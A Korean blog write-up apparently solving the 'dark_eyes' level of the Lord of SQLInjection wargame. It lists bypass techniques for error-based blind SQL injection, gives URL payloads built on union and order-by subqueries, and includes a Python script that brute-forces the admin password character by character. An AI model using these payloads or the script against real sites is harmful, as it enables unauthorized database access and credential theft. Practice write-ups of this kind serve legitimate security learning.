Network/LOS

[LOS_22]dark_eyes

dcho 2019. 9. 5. 13:56
SMALL

이번문제는 

필터링 되는 부분 : col, if, case, when, sleep, benchmark

get 받는 파라미터 : pw

해결해야 되는 부분 : mysql 에러가 뜨면 종료하는데 정상적인 값으로 알아내야하고, 

error based blind sql injection을 통해 정확한 pw 값을 알아내야한다.

이번에는 앞에서 썼던 if 문이 필터링이 되어있다.

error based blind sql injection우회 기법은 다음과 같다.

조건문 사용 :
    ... 1 and if($tg,1,(select 1 union select 2))

order by / group by :
    ... 1 order by (select 1 from (select 1 union select 2)m where $tg=1)

논리 연산자의 최적화 현상 이용:
    ... $tg||(select 1 union select 2)

case when then 형식 조건문 사용 :
    select case 1 when 1 then (select 1 union select 2) end;

2. 정규식 관련 에러를 이용

활용 사례
    1. 필터링이 쿼리 실행 이후에 일어나는 사례
    2. 쿼리가 실행은 되지만 결과가 출력되지 않는 사례에서의 시간기반 대용
    3. order by / group by 에 대한 효율적인 인젝션
    4. insert 문과 delete 문을 동작을 막으면서 데이터를 추출하기

[출처] 에러기반 블라인드 인젝션 (Error Based Blind SQL Injection)|작성자 범범범


order by / group by 를 이용해 문제를 해결해 보겠다.

1' and id='admin'  order by (select 1 from (select 1 union select 2)m where length(pw)<10)
?pw=1' and id='admin' order by (select 1 from (select 1 union select 2)m where length(pw)<10) %23

음 모르겠고~.. 이해를 못했다.

coalesce를 사용할하려고 했는데 에러문을 아예 출력해주지 않아.. 확인하기 어려웠다.
?pw=1' or id='admin' and coalesce((select 1 union select 2),length(pw)<20) %23

ifnull() nullif() 도 .. 필터!
?pw=1'or id='admin' and ifnull(length(pw)<16,1,(select 1 union select 2)) %23

select 1 union select 2 에서 

union 문을 잘 활용해서 참값이 나오면 컬럼의 갯수가 맞아 정상적인 응답을 줄 것이고 아니라면 exit()를 통해 아무것도 안보여줄것이다.
?pw=1' or id='admin' and (select 1 union select (length(pw)<1)) %23

?pw=1' and id='admin' and (select 1 union select (length(pw)=8)) %23


pw의 길이가 8자리이다. 다시 예전 길이로 돌아왔다.

?pw=1' or id='admin' and (select 1 union select (ord(substr(pw,1,1))=53)) %23


괄호가 많아서 좀 헷갈리긴 했는데 페이로드를 완성했다. 

import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키 값을 넣어준다.

for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
    for j in range(0, 123): # 작은 반복분 아스키코드 반복
        params = {'pw': "1' or id='admin' and (select 1 union select (ord(substr(pw," + str(i) + ",1))=" + str(j) + ")) #"}

        r = requests.get(url, params=params, headers=headers)

        if "<hr>" in r.text: # 응답값에서 텍스트가 Subquery이면 출력하고 다음자리로
            print(chr(j), end='')
            break



클리어!

+ 추가적으로 알아낸 사실인데 order by를 이용해서도 문제를 해결할 수 있다.
?pw=1' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)<10) %23

3가지 항목에 주목하셔야 한다.
ⓐ order by: 특정 순서 혹인 정렬을 위한 SQL 
ⓑ select 1 union select 2: Error를 유발하기 위한 구문

⑴ length(pw) 가 참 일 경우)
Subquery에서 행 2개 출력 → order by 구문에서 Error → if(mysql_error()) exit(); 로 인해 빈 창으로 이동

⑵ length(pw) 가 거짓 일 경우)
Subquery에서 결과 x → order by 구문에서 정상 진행 → if(mysql_error()) exit(); 통과 후 echo 실행


'Network > LOS' 카테고리의 다른 글

[LOS_21]iron_golem  (0) 2019.09.05
[LOS_20]dragon  (0) 2019.08.30
[LOS_19]xavis  (0) 2019.08.30
[LOS_18]nightmare  (0) 2019.08.30
[LOS_17]succubus  (0) 2019.08.30